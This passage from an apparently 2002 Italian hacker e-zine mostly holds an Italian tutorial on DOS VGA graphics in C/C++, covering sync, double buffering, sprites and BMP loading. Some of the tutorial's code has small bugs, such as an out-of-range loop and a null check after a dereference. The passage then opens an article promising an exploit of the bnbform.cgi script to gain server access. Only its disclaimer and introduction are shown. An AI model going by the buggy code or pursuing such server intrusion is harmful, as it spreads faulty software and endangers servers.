| __djgpp_nearptr_enable(); |
| vga = (unsigned char*)(0xa0000+__djgpp_conventional_base); |
| |
| vgaOpen(); |
| |
| x=20; y=20; direction=0x00; |
| |
| while(!kbhit()){ |
| //disegna il quadrato |
| for(int i=x; i<x+5; i++){ |
| for(int j=y; j<y+5; j++){ |
| vga[i+(j*320)] = 0x35; |
| } |
| } |
| //cancella lo schermo per ridisegnare un nuovo quadrato |
| for(int k=0; k<320*200; k++) vga[k] = 0x00; |
| //calcola le coordinate dello spostamento |
| if(x+5==319) direction=0x00; |
| if(x==0) direction=0xff; |
| if(direction==0xff) x++; |
| if(direction==0x00) x--; |
| } |
| vgaClose(); |
| } |
| |
| |
| Un' orrendo esempio di animazione ma potete sbizzarrirvi come volete;-) |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SiNCRONiZZAZiONE |
| | 7 |------------------------------------------------------------- |
| '------' |
| Avrete notato che l'animazione del quadratino fa semplicemente |
| schifo... il quadratino è appena visibile in seguito |
| all'eccessivo sfarfallìo dell'animazione. |
| Dobbiamo tener presente che lo sfarfallio compare quando |
| vado ad aggiornare la memoria video mentre il chip grafico non |
| ha ancora finito di leggere e disegnare su schermo. Per |
| non incorrere in questo inconveniente, possiamo andare a |
| testare il 4° bit della porta 0x3da (controller CRT |
| - hardware incaricato di leggere dalla memoria video e |
| convertire in segnali per il monitor) che ci dice se la lettura è |
| finita (=0) o se stà ancora lavorando (=1). |
| Potremmo introdurre un ciclo di attesa con l'istruzione: |
| |
| |
| while ((inportb(0x3da)&0x08)!=0); |
| |
| |
| però non ci basta verificare se il controller ha finito di |
| leggere perchè potrebbe stare per cominciare un nuovo ciclo di |
| lettura, quindi la funzione di sincronizzazione completa è: |
| |
| |
| void synchro(void){ |
| while ((inportb(0x3da)&0x08)!=0); |
| while ((inportb(0x3da)&0x08)==0); |
| } |
| |
| |
| e il codice ottimizzato per l'animazione del quadratino azzurro: |
| |
| |
| while(!kbhit()){ |
| synchro(); |
| for(int i=x; i<x+5; i++){ |
| for(int j=y; j<y+5; j++){ |
| vga[i+(j*320)] = 0x35; |
| } |
| } |
| synchro(); |
| for(int k=0; k<320*200; k++) vga[k] = 0x00; |
| if(x+5==319) direction=0x00; |
| if(x==0) direction=0xff; |
| if(direction==0xff) x+=2; |
| if(direction==0x00) x-=2; |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | DOPPiO BUFFERiNG |
| | 8 |------------------------------------------------------------- |
| '------' |
| Anche se ci siamo sincronizzati con il controller grafico, |
| l'animazione non è molto "fluida" e sfarfalla ancora. A questo punto, |
| non ci rimane che adottare una delle due soluzioni applicabili |
| per |
| migliorare l'animazione: utilizzare il doppio buffering o il clipping. |
| |
| Il doppio buffering è una tecnica che consiste nell'andare a |
| disegnare in un'area di memoria che non corrisponde con quella |
| video e successivamente, quando la scrittura è stata completata, |
| andare a copiare il contenuto del secondo buffer sulla memoria |
| video. |
| |
| Con il clipping si va, invece, a ridisegnare solo l'area di |
| schermo che necessita di un aggiornamento, lasciando invariate le |
| parti 'statiche'. Il clipping ha senso quando l'area da ridisegnare |
| è solo una piccola porzione dello schermo e vi lascio immaginare il |
| perchè. Conviene applicarlo unitamente al doppio buffering (i |
| risultati sono più apprezzabili se li utilizziamo insieme). |
| |
| Per lavorare con il doppio buffering è necessario andare a definire |
| un buffer delle stesse dimensioni della memoria video, in questo caso |
| 64 kbyte: |
| |
| |
| unsigned char *doubleBuffer = (unsigned char *)malloc(320*200); |
| |
| |
| Per disegnare un pixel, andremo a scrivere dapprima nel buffer da noi |
| dichiarato e poi copiamo quest'ultimo nella memoria video: |
| |
| |
| doubleBuffer[x+y*320] = colore; |
| for(int i=0; i<320*200; i++) vga[i] = doubleBuffer[i]; |
| |
| |
| Per quanto riguarda lo switch dei buffer, anzichè utilizzare un |
| ciclo come proposto sopra, è possibile utilizzare alcune |
| funzioni del c, quali dosmemput e movedata: |
| |
| |
| dosmemput(doubleBuffer, 320*200, vga); |
| movedata(_my_ds(), doubleBuffer, _dos_ds, vga, 320*200); |
| |
| |
| Le due funzioni per la copia di buffer in memoria sono molto più |
| veloci di un normale ciclo per il fatto che, sfruttando appieno i |
| registri della cpu, lo spostamento avviene a più di soli 8 bit per |
| volta. |
| La scelta dell'una o dell'altra soluzione dipende da che tipo di |
| prestazioni ci interessano. Per semplici programmini di prova, |
| va benissimo anche la copia mediante un ciclo. |
| Scriviamo adesso una funzione che effettui lo switch: |
| |
| |
| void refresh(unsigned char *buffer){ |
| for(int i=0; i<320*200; i++) vga[i] = buffer[i]; |
| } |
| |
| |
| Ed ecco la funzione per la stampa di pixel su un buffer: |
| |
| |
| void drawPixel(short x, short y, char color, unsigned char *buff){ |
| buff[x+(y<<8)+(y<<6)] = color; |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SPRiTE |
| | 9 |------------------------------------------------------------- |
| '------' |
| Lo sprite è un oggetto grafico che compone la nostra immagine sullo |
| schermo. Se pensiamo ai vecchi videogiochi bidimensionali, |
| possiamo dire che i personaggi, lo sfondo, i vari oggetti e così |
| via sono degli sprites. |
| Lo sprite è un buffer di memoria delle dimensioni |
| dell'immagine contenente l'immagine stessa che andrà poi disegnata |
| sullo schermo. |
| Risulta comodo utilizzare utilizzare le classi del c per |
| implementare gli sprites, così possiamo definire alcune |
| funzioni al suo interno per lavorare sullo schermo. |
| Si utilizzano gli sprite per semplificare notevolmente anche le |
| più semplici operazioni sullo schermo, in seguito capirete il |
| perchè... |
| |
| |
| |
| .' |
| | piccola parentesi sulle classi... |
| '. |
| |
| Vediamo prima come si utilizza uno sprite e poi come lo definiamo. |
| Per prima cosa, per utilizzare uno sprite ci serve un puntatore |
| allo sprite che dichiariamo: |
| |
| |
| Sprite *oggetto; |
| |
| |
| Successivamente creiamo l'oggetto: |
| |
| |
| oggetto = new Sprite(x, y); |
|

  
|
| |
| L'operatore new ci permette di allocare gli oggetti dinamicamente, |
| proprio come la malloc fa per la memoria. |
| New chiama il costruttore della classe, una funzione che ha lo stesso |
| nome della classe. All'interno del costruttore allochiamo la memoria e |
| inizializziamo alcuni parametri che ci occorrono. |
| Per liberarci di un oggetto che non ci serve più utilizziamo |
| l'operatore delete: |
| |
| |
| delete oggetto; |
| |
| |
| Delete chiama il distruttore della classe Sprite che ha il compito di |
| deallocare la memoria occupata dallo sprite stesso. |
| |
| |
| '. |
| ...fine piccola parentesi | |
| .' |
| |
| |
| Adesso che sappiamo come si usa uno sprite, proviamo a costruirne uno. |
| Un primitivo possibile esempio di classe per uno sprite potrebbe |
| essere: |
| |
| |
| class Sprite{ |
| public: |
| Sprite(int, int); |
| ~Sprite(); |
| void Paint(int, int, unsigned char *); |
| |
| unsigned char *image; |
| int width, height; |
| }; |
| |
| |
| |
| Vediamo il costruttore. Ha l'unico compito di allocare il buffer per |
| l'immagine e necessita di 2 parametri: le dimensioni dell'immagine. |
| |
| |
| Sprite::Sprite(int w, int h){ |
| if((image = (unsigned char *)malloc(w*h))==NULL){ |
| //impossibile allocare memoria per lo sprite |
| return; |
| } |
| width = w; |
| height = h; |
| } |
| |
| |
| Abbiamo anche l'inizializzazione delle due variabili width e |
| height che ci dicono quanto è grande lo sprite. Queste |
| informazioni ci torneranno utili per alcune operazioni da compiere |
| sugli sprite. |
| Il distruttore deve semplicemente restituire al sistema operativo |
| la memoria allocata, quindi sarà: |
| |
| |
| Sprite::~Sprite(){ |
| if(image!=NULL) free(image); |
| } |
| |
| |
| Passiamo a vedere una funzione strettamente legata allo scopo dello |
| sprite: il disegno dell'immagine contenuta nello sprite. |
| La funzione in questione è la Paint, che si occupa di disegnare |
| lo sprite nel buffer per poi disegnarla sullo schermo. Gli |
| passiamo le coordinate di inizio dell' immagine e il puntatore al |
| doppio buffer: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| for(j=yy; j<yy+height; j++){ |
| for(i=xx; i<xx+width; i++){ |
| buffer[i+(j<<8)+(j<<6)] = image[buff++]; |
| } |
| } |
| } |
| |
| |
| Adesso abbiamo il nostro sprite pronto per essere utilizzato: |
| dobbiamo solo inserire l'immagine. |
| Riutilizziamo la funzione vista sopra per disegnare un pixel in |
| un buffer e la modifichiamo per renderla in grado di disegnare in |
| uno sprite. |
| Ci basta sostituire il puntatore al buffer con un |
| puntatore a sprite. Anzichè disegnare direttamente nell'area |
| specificata dal puntatore, andiamo a disegnare nel campo image. |
| |
| |
| void drawPixel(short x, short y, char color, Sprite *sptr){ |
| sptr->image[x+(y*sptr->width)] = color; |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SPRiTE iN TRASPARENZA |
| | 10 |------------------------------------------------------------- |
| '------' |
| Consideriamo adesso un aspetto del quale non abbiamo tenuto conto |
| durante la scrittura della funzione Paint della classe Sprite. La |
| funzione che abbiamo scritto poco sopra non tiene conto del |
| fatto che in un'immagine ci sono alcune parti che vanno disegnate |
| e alcune no. |
| Se vogliamo realizzare un personaggio che si muove su uno |
| sfondo dovremo disegnare solo la parte dello sprite che ritrae il |
| personaggio e non anche il resto dello sprite altrimenti |
| l'effetto che avremo sarà di un rettangolo nero con all'interno |
| la sagoma del personaggio. |
| E' necessario modificare la funzione in questo modo: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| if(image[buff]!=NULL) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| } |
| |
| |
| |
| Decidiamo che il colore 0x00 (NULL) è quello che ci da la |
| trasparenza. Ci basterà saltare le parti riempite a NULL e stampare |
| quelle che contengono la nostra immagine. |
| Risulta più comodo, però, definire dinamicamente il colore |
| che è da considerarsi trasparente con una piccola aggiunta alla |
| classe sprite di una variabile: |
| |
| |
| char transparency; |
| |
| |
| e una modifica alla Paint: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| if(image[buff]!=transparency){ //<-- trasparenza |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| } |
| buff++; |
| i++; |
| } |
| } |
| } |
| |
| |
| Potrebbe però presentarsi la necessità di utilizzare tutti e 256 i |
| colori messi a disposizione senza effettuare alcuna stampa in |
| trasparenza. Decidiamo allora che: se il colore di trasparenza è |
| NULL non bisogna considerare alcun colore come trasparenza, mentre |
| se è qualunque altro valore questo è da considerarsi trasparente. |
| La funzione finale è dunque: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| if(transparency){ //<-- tieni conto della trasparenza |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| if(image[buff]!=transparency) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| }else{ //<-- nessuna trasparenza |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| } |
| } |
| |
| |
| Piccola ottimizzazione: anzichè specificare le coordinate dove lo |
| sprite andrà stampato al momento della chiamata alla funzione Paint, |
| conviene specificare le coordinate in due nuove variabili |
| all'interno della classe Sprite. Questo risulta comodo quando più |
| avanti vedremo la stampa automatizzata di una serie di sprite. |
| |
| Le modifiche da apportare sono minime: |
| |
| - aggiungiamo alla classe Sprite: |
| |
| int x; |
| int y; |
| |
| - modifichiamo la Paint in questo modo: |
| |
| void Sprite::Paint(unsigned char *buffer){ |
| int i, j, buff = 0; |
| if(transparency){ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| if(image[buff]!=transparency) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| }else{ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| } |
| } |
| |
| Naturalmente sono da modificare tutte le chiamate alla Paint. |
| Se vogliamo stampare uno sprite 'sp' a partire dalle coordinate |
| (50, 100) dovremo scrivere: |
| |
| |
| sp->x = 50; |
| sp->y = 100; |
| sp->Paint(vga); |
| |
| |
| Importante aggiungere al costruttore due istruzioni di |
| inizializzazione per le coordinate: |
| |
| x = 0; |
| y = 0; |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SPRiTE FUORi SCHERMO |
| | 11 |------------------------------------------------------------- |
| '------' |
| Non sempre tutto quello che dobbiamo visualizzare sullo schermo |
| si trova necessariamente all'interno dello schermo. Pensiamo alle |
| finestre all'interno della gui di un sistema operativo: solitamente, |
| è possibile spostarle anche al di fuori dello schermo visibile. |
| Nella scrittura della funzione Paint, quella incaricata appunto |
| della stampa degli sprite, non abbiamo tenuto conto di questa |
| possibilità percui se specifichiamo una coordinata fuori dallo |
| schermo, o l'immagine va a finire fuori schermo perchè abbiamo fatto |
| male i conti, potremmo ottenere strani risultati. |
| Per sistemare anche questo aspetto, ci basta fare un controllo |
| all'interno del ciclo di stampa: |
| |
| |
| void Sprite::Paint(unsigned char *buffer){ |
| int i, j, buff = 0; |
| if(transparency){ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| if((i<320&&i>0)&&(j<200&&j>0)){ //<- fuori schermo |
| if(image[buff]!=transparency) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| } |
| buff++; |
| i++; |
| } |
| } |
| }else{ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| if((i<320&&i>0)&&(j<200&&j>0)){ //<- fuori schermo |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| } |
| buff++; |
| i++; |
| } |
| } |
| } |
| } |
| |
| |
| Ovviamente dobbiamo specificare le dimensioni del nostro schermo o |
| dell'area dove intendiamo effettivamente visualizzare gli sprite. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | iMMAGiNi |
| | 11 |------------------------------------------------------------- |
| '------' |
| Prima di cominciare, facciamo un piccolo discorso introduttivo sulle |
| immagini. Esistono diversi tipi di formati per le immagini che |
| si differenziano sostanzialmente per l'algoritmo di compressione. |
| L'immagine salvata su file è solitamente compressa, questo perchè |
| se pensiamo di salvare pixel per pixel un'immagine avremmo notevoli |
| problemi di occupazione in memoria: pensiamo un'immagine di |
| 320x200 a 256 colori. Ogni pixel è identificato da 1 solo byte, |
| quindi la dimensione totale del file è data da 320*200*1 byte, cioè |
| 64000 byte, circa 64 kbyte. Beh, direte, non abbiamo un file molto |
| grosso... proviamo a fare l'esempio con un'immagine di 800x600 a |
| 65.536 colori: ogni pixel necessita di 2 byte e la dimensione totale |
| è 800*600*2 byte, ben 960000 byte, quasi un megabyte per un'immagine! |
| Qui entrano in gioco gli algoritmi di compressione, capaci di |
| alleggerire notevolmente la dimensione del file salvato. |
| Visto che noi utilizzeremo solamente una risoluzione di 320x200 e al |
| massimo 256 colori, possiamo permetterci di utilizzare immagini non |
| compresse. |
| |
| Esaminiamo come funziona il formato BMP, quello che solitamente usa il |
| Paint di Windows. |
| BMP stà per BitMaPped, ossia l'immagine è salvata bit a bit, |
| non c'è alcun tipo di compressione. Questo è vero solo in parte, |
| nel senso che esiste la possibilità di salvare l'immagine codificata |
| con l'algoritmo RLE (Run Length Encoding). |
| Questo algoritmo si basa sulla 'compressione' di sequenze di colori |
| uguali: ad esempio, supponiamo di avere una riga orizzontale rossa |
| lunga 300 pixel; in base al RLE, in soly 3 byte possiamo dire 'da qui |
| in avanti disegna 300 pixel rossi', anzichè avere 300 byte che portano |
| tutti il colore rosso. |
| Pur essendo un algoritmo semplicissimo, noi non tratteremo le bitmap |
| codificate secondo RLE. |
| Il file codificato in bitmap è composto da un header, dalla |
| palette e dall'immagine. L'header è preceduto da un tag di 2 byte |
| che specifica che il file è una bitmap. |
| Analizziamo l'header direttamente dalla sua struttura corrispondente: |
| |
| |
| struct{ |
| unsigned long fileLenght; |
| unsigned char reserved[4]; |
| unsigned long imageOffset; |
| unsigned int headerSize; |
| unsigned int width; |
| unsigned int height; |
| unsigned short planes; |
| unsigned short bitsPixel; |
| unsigned int compression; |
| unsigned int imageSize; |
| unsigned int hResolution; |
| unsigned int vResolution; |
| unsigned int colors; |
| unsigned int imColors; |
| unsigned char padding[3]; |
| }bmpheader; |
| |
| |
| Vediamo solo i parametri che utilizzeremo. |
| Innanzitutto troviamo imageOffset che ci dice a che byte inizia |
| l'immagine all'interno del file. Lo utilizzeremo appunto per |
| individuare l'immagine e poi leggerla. |
| width e height danno rispettivamente la larghezza e l'altezza |
| dell'immagine. |
| colors indica il numero di colori impiegati per visualizzare |
| l'immagine. |
| |
| Subito dopo l'header, troviamo la definizione dei colori (la palette). |
| Poichè a volte non sono necessari tutti e 256 colori |
| disponibili per rappresentare un'immagine, la definizione della |
| palette contiene solo i colori modificati. |
| Il colore è definito da un byte per ogni colore primario (rosso, |
| verde e blu) più un byte di padding. A noi basta leggere questi |
| valori e ridefinire la palette di sistema. Attenzione però: i |
| byte non sono scritti a partire dal rosso, ma dal blu; quindi, |
| leggeremo blu, verde, rosso e il byte di padding. Facciamo |
| l'esempio di un colore: |
| |
| |
| 00 80 ff 00 |
| | | | | |
| B G R pad. |
| |
| |
| Scriviamo due righe di codice per leggere la palette. |
| |
| outportb(0x3c8, 1); |
| for(int i=0; i<hdr.colors-1; i++){ |
| fread(&b, sizeof(unsigned char), 1, img); |
| fread(&g, sizeof(unsigned char), 1, img); |
| fread(&r, sizeof(unsigned char), 1, img); |
| fseek(img, 1, SEEK_CUR); |
| outportb(0x3c9, r>>2); |
| outportb(0x3c9, g>>2); |
| outportb(0x3c9, b>>2); |
| } |
| |
| |
| Per prima cosa vediamo che il colore 0 non viene ridefinito perchè |
| viene inteso come nero e non viene specificato all'interno del file |
| bitmap. |
| Notiamo anche che i valori r, g, e b vengono shiftati a destra di 2 |
| bit: questo perchè, se ricordate, ogni colore primario può avere un |
| valore compreso tra 0 e 63. Eseguendo l'operazione di shift, |
| abbiamo un valore di 6 bit: se la matematica non è un'opinione, |
| 2^6 fa proprio 64... |
| |
| Adesso che abbiamo ridefinito la palette, dobbiamo leggere |
| l'immagine. Basterebbe leggere dal primo all'ultimo byte e copiarlo |
| all'interno del buffer, giusto? Sbagliato! Questo perchè l'immagine |
| è salvata a partire dall'ultima riga, in questo modo: |
| |
| |
| riga(n) <-- ultima riga |
| riga(n-1) |
| riga(n-2) |
| ... |
| riga(n-altezzaimmagine) <-- prima riga |
| |
| |
| Non si capisce il perchè di questa scelta nell'implementare |
| l'algoritmo, comunque non è un problema. |
| Analizziamo direttamente il codice che legge l'immagine e la |
| copia sulla memoria video. |
| |
| |
| fseek(img, hdr.imageOffset, SEEK_SET); |
| if(hdr.compression==0){ |
| for(int j=0; j<hdr.height; j++){ |
| for(int k=0; k<hdr.width; k++){ |
| fread(&pixel, sizeof(pixel), 1, img); |
| vga[k+(hdr.height-j-1)*320]=pixel; |
| } |
| } |
| } |
| |
| |
| Per prima cosa, ci posizioniamo all'interno del file alla posizione |
| specificata da imageOffset. Controlliamo che compression sia pari |
| a 0, cioè non sia applicato alcun algoritmo di compressione e |
| poi leggiamo pixel per pixel e copiamo sulla memoria video. |
| Quando arriviamo al termine della riga, continuando a leggere |
| acquisiamo i dati della riga precedente da visualizzare sullo |
| schermo. |
| |
| Facciamo una piccola osservazione: se una linea è memorizzata |
| sequenzialmente, perchè andare a leggere pixel per pixel invece che |
| copiare direttamente tutta la riga? |
| Ecco qui di seguito la versione ottimizzata della lettura: |
| |
| |
| fseek(img, hdr.imageOffset, SEEK_SET); |
| if(hdr.compression==0){ |
| for(int j=0; j<hdr.height; j++){ |
| fread(&vga[(hdr.height-j-1)*320], hdr.width, 1, img); |
| } |
| } |
| |
| |
| Per la stampa corretta su schermo, e anche per la corretta copia in |
| uno sprite, ci basta specificare come coordinata il risultato della |
| sottrazione dell'altezza dell'immagine e il contatore delle righe |
| lette e sottrarre ancora 1 per il fatto che il conteggio delle rige |
| parte da 0: |
| |
| |
| vga[k+(hdr.height-j-1)*320]=pixel; |
| |
| |
| Il caricamento di immagini in formato BMP all'interno di uno sprite |
| non è più un problema. A questo punto, però, si presenta un |
| problema: se diamo un'occhiata al codice, quando allochiamo un |
| nuovo sprite questo vuole a priori la dimensione dell'immagine da |
| allocare. Poichè quando noi allochiamo lo sprite non abbiamo caricato |
| ancora l'immagine da file e quindi non ne conosciamo ancora le |
| dimensioni, non ci è possibile creare lo sprite? Possiamo. Basta |
| definire un nuovo costruttore della classe Sprite per il caricamento |
| di immagini da file. |
| Il nuovo costruttore necessiterà di un unico parametro che sarà |
| il path del file immagine da aprire: |
| |
| |
| Sprite::Sprite(const char *path){ |
| FILE *img; |
| bmpheader hdr; |
| |
| if((img=fopen(path, "rb"))==NULL){ |
| //impossibile aprire il file |
| return; |
| } |
| fseek(img, 2, SEEK_SET); |
| fread(&hdr, sizeof(bmpheader), 1, img); |
| |
| image = (unsigned char *)malloc(hdr.width*hdr.height); |
| width = hdr.width; |
| height = hdr.height; |
| |
| outportb(0x3c8, 1); |
| for(int i=0; i<hdr.colors-1; i++){ |
| fread(&b, sizeof(unsigned char), 1, img); |
| fread(&g, sizeof(unsigned char), 1, img); |
| fread(&r, sizeof(unsigned char), 1, img); |
| fseek(img, 1, SEEK_CUR); |
| outportb(0x3c9, r>>2); |
| outportb(0x3c9, g>>2); |
| outportb(0x3c9, b>>2); |
| } |
| |
| fseek(img, hdr.imageOffset, SEEK_SET); |
| if(hdr.compression==NULL){ |
| for(int j=0; j<hdr.height; j++){ |
| fread(&image[(hdr.height-j-1)*hdr.width], |
| hdr.width, 1, img); |
| } |
| } |
| fclose(img); |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | STAMPA AUTOMATiZZATA Di SPRiTE |
| | 13 |------------------------------------------------------------- |
| '------' |
| Abbiamo creato uno scenario complesso, con parecchi sprite: adesso |
| dobbiamo disegnarli sullo schermo. |
| A livello di codice, con i mezzi a nostra disposizione fino a |
| questo momento, dovremmo chiamare per ogni sprite la sua Paint. |
| |
| Esempio: abbiamo tre sprite sp1, sp2, sp3 da stampare. |
| |
| |
| //... |
| sp1->Paint(vga); |
| sp2->Paint(vga); |
| sp3->Paint(vga); |
| //... |
| |
| |
| Questo è un notevole svantaggio perchè dovremmo conoscere già al |
| momento della stesura del codice quanti e quali sprite andranno |
| stampati. |
| Vediamo di automatizzare la stampa creando una sorta di database |
| che contiene gli sprite da stampare, con la possibilità di |
| aggiungerne e toglierne dalla lista. Tutto ciò che ci occorre è |
| un vettore di puntatori a sprite che dichiariamo: |
| |
| |
| Sprite *SpriteRegister[5]; |
| |
| |
| Imponiamo il limite di 5 sprite per schermo perchè nell'esempio ne |
| usiamo solo 3, ma possiamo definirne quanti ne vogliamo (sempre |
| che abbiamo abbastanza memoria!). |
| Scriviamo la funzione per aggiungere uno sprite al contenitore degli |
| sprite da stampare: |
| |
| |
| void AddSprite(Sprite *sp){ |
| int counter=0; |
| while((SpriteRegister[counter]!=NULL)&&(counter!=4)) counter++; |
| SpriteRegister[counter] = sp; |
| } |
| |
| |
| Dobbiamo trovare prima di tutto un posto libero all'interno del |
| contenitore dove piazzare il nuovo sprite. Una volta trovato, ci |
| mettiamo l'indirizzo dello sprite. |
| Adesso che abbiamo tutti gli sprite nel contenitore, vediamo la |
| funzione che li disegna tutti: |
| |
| |
| void DrawAllSprite(unsigned char *buffer){ |
| for(int i=0; i<4; i++){ |
| if(SpriteRegister[i]) SpriteRegister[i]->Paint(buffer); |
| } |
| } |
| |
| |
| La funzione è semplicissima: prende tutti gli indirizzi dal |
| contenitore degli sprite e chiama la relativa funzione Paint. Il |
| controllo 'if(SpriteRegister[i])' serve per verificare che sia |
| un valore non nullo, quindi che punti effettivamente a uno |
| sprite. |
| Osservazione: l'ultimo sprite stampato sarà sovrapposto a tutti |
| gli altri, mentre il primo sarà coperto da tutti gli altri. Abbiamo |
| quindi una stampa su più livelli. |
| Facciamo adesso un esempio di 'stampa automatizzata'. |
| Abbiamo i 3 sprite di prima sp1, sp2 e sp3. Vediamo prima |
| il codice per aggiungere e stampare gli sprite: |
| |
| |
| AddSprite(sp1); |
| AddSprite(sp2); |
| AddSprite(sp3); |
| DrawAllSprite(vga); |
| |
| |
| Semplicissimo, no? Ma se in un determinato istante uno sprite non deve |
| comparire sullo schermo? Se volessimo utilizzare questo metodo |
| 'automatizzato' dovremmo rimuovere lo sprite dalla lista per non |
| copiarlo sul buffer video ma, invece, introduciamo un altra |
| proprietà alla classe Sprite: la visibilità. |
| Aggiungiamo una variabile booleana che ci dice se lo sprite è |
| visibile oppure no, quindi se andrà stampato o meno. |
| |
| |
| bool visible; |
| |
| |
| All'interno dei costruttori inizializziamo 'visible = true' per |
| fare in modo che lo sprite sia visibile di default. |
| Aggiungiamo due funzioni, SetVisible e SetHidden, alla classe |
| Sprite per modificare la visibilità dello sprite. |
| |
| |
| void Sprite::SetVisible(void){ |
| visible = true; |
| } |
| |
| |
| void Sprite::SetHidden(void){ |
| visible = false; |
| } |
| |
| |
| Scriviamo anche una funzione che ci dica se lo sprite è visibile: |
| |
| |
| bool Sprite::IsVisible(void){ |
| return(visible); |
| } |
| |
| |
| Adesso che abbiamo questo nuovo parametro, modifichiamo la |
| funzione DrawAllSprite in modo che stampi solo gli sprite visibili: |
| |
| |
| void DrawAllSprite(unsigned char *buffer){ |
| for(int i=0; i<12; i++){ |
| if((SpriteRegister[i]->IsVisible())&&SpriteRegister[i]) |
| SpriteRegister[i]->Paint(buffer); |
| } |
| } |
| |
| |
| Ci basta verificare che IsVisible sia 'true', quindi lo sprite è |
| visibile e in tal caso possiamo chiamare la funzione Paint. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | CONCLUSiONi |
| | 14 |------------------------------------------------------------- |
| '------' |
| Terminiamo qui la prima puntata. Di materiale mi sembra ce ne sia |
| abbastanza. |
| La prossima volta vedremo come stampare delle stringhe di testo e come |
| definire dei font grafici; magari ci sarà qualche accenno alla SVGA... |
| |
| Per delucidazioni, consigli, insulti, proposte indecenti scrivetemi... |
| |
| |
| __/\__________________ |
| ' | |
| | bondo@tiscali.it | |
| |________________ ___.' |
| \/ |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi ExPL0iT #08 - 01/11/2002 |
| BNBF0RM: USi E ABUSi [spyro] 0x0F/0x1A |
+--------------------------------------------------------------------------+
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| / - |
| |--> /Disclaimer |
| |--> /Introduzione |
| |--> /Cosa_è_il_bnbform |
| |--> /Config_e_installazione_bnbform |
| |--> /Exploitare_il_bnbform.cgi |
| |--> /Ringraziamenti_e_saluti |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Disclaimer |
| bash# cat disclaimer.txt |
| |
| |
| Quello che riporterò qui di seguito, sarà la spiegazione di un exploit |
| che ha lo scopo di far ottenere l'accesso ad un server tramite esso. |
| Al giorno d'oggi la rete purtroppo è piena di lamer e io con questo |
| testo non vorrei contribuire alla nascita di nuovi, quindi pensateci |
| due volte prima di mettere in atto queste informazioni. |
| Io ho scritto questo testo soltanto per mettere in evidenza i problemi |
| di sicurezza riguardanti la rete. |
| Quindi se farete danni a voi stessi o ad altre persone non mi |
| riterrò responsabile. |
| Tutto a scopo informativo! |
| Siete RESPONSABILI delle vostre azioni. |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cd /Introduzione |
| bash# cat introduzione.txt |
| |
| Oggi vi parlerò di un utilissimo,ma purtroppo anche buggatissimo, cgi |
| script di nome: bnbForm |
| BnbForm è uno script cgi che permette di spedire delle e-mail |
| direttamente da una pagina web, riempiendo una form. |
| Con questo testo andremo a scoprire come funziona lo script, |
| come configurarlo, installarlo e come exploitarlo :) . |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cd /Cosa_è_il_bnbform |
| bash# cat cosa_è_il_bnbform.txt |
| |
| |
| BnbForm è uno script cgi che permette di spedire delle e-mail |
| direttamente da una pagina web, riempiendo una form. |
| Questo script può essere utilizzato sia su sistemi Unix che quelli |
| windows, questo perchè necessita dell'uso dei socket. |
| Lo script in questione ha varie utilità tipo: il supporto di destinatari |
| multipli(Il campo Cc: di un client mail), controlla se l'indirizzo |
| immesso è corretto (ma nn esistente!) e permette anche di inviare |
| un messaggio a chi ha appena mandato una mail. |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Config_e_installazione_bnbform |
| bash# cat config_e_installazione_bnbform.txt |
| |
| |
| Dopo aver scompattato il file .tar o .zip, ci troveremo una directory |
| contenente 8 file di cui, 2 andranno messi nella directory cgi-bin |
| del demone http e gli altri in una directory a nostra scelta. |
| |
| File Description |
| |
| README.TXT No Comment :) |
| |
| bnbform.cgi Script Cgi |
| |
